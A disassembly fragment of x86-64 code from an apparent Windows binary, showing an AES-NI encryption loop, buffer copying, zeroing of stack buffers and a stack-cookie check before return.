inc eax
shl eax, 4
movsxd r8, eax
lea rdx, [rbx + rcx*4]
lea rcx, [rbx + 0x10]
lea rcx, [rcx + rdi*4]
call fcn.1400520e0
mov qword [rbx + 8], rdi
mov ecx, 0x2000000
call fcn.1400173f0
test eax, eax
je 0x1400255fa
mov rax, qword [rbx + 8]
movups xmm0, xmmword [rsi]
lea rcx, [rbx + rax*4]
mov eax, dword [rbx]
xorps xmm0, xmmword [rcx + 0x10]
add rcx, 0x20
sub eax, 1
je 0x1400255ed
aesenc xmm0, xmmword [rcx]
add rcx, r13
add eax, 0xffffffff
jne 0x1400255e0
aesenclast xmm0, xmmword [rcx]
movdqu xmmword [rsp + 0x20], xmm0
jmp 0x140025610
lea r8, [rsp + 0x20]
mov rdx, rsi
mov rcx, rbx
call fcn.140020a10
mov edx, eax
test eax, eax
jne 0x14002564c
cmp rbp, r13
lea rdx, [rsp + 0x20]
mov rdi, rbp
mov rcx, r15
cmova rdi, r13
mov r8, rdi
call fcn.1400520e0
add r15, rdi
sub rbp, rdi
jne 0x140025550
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140025190
mov edx, eax
test eax, eax
jne 0x14002564c
inc dword [rsi + 0x10]
mov r14, qword [rsp + 0x70]
lea rdi, [rsp + 0x30]
mov r12, qword [rsp + 0x80]
xor eax, eax
mov rbx, qword [rsp + 0xc8]
mov ecx, 0x30
rep stosb byte [rdi], al
mov rcx, r13
lea rdi, [rsp + 0x20]
mov r13, qword [rsp + 0x78]
rep stosb byte [rdi], al
mov rdi, qword [rsp + 0x88]
mov eax, edx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14002cd30
add rsp, 0x90
pop r15
pop rsi
pop rbp
ret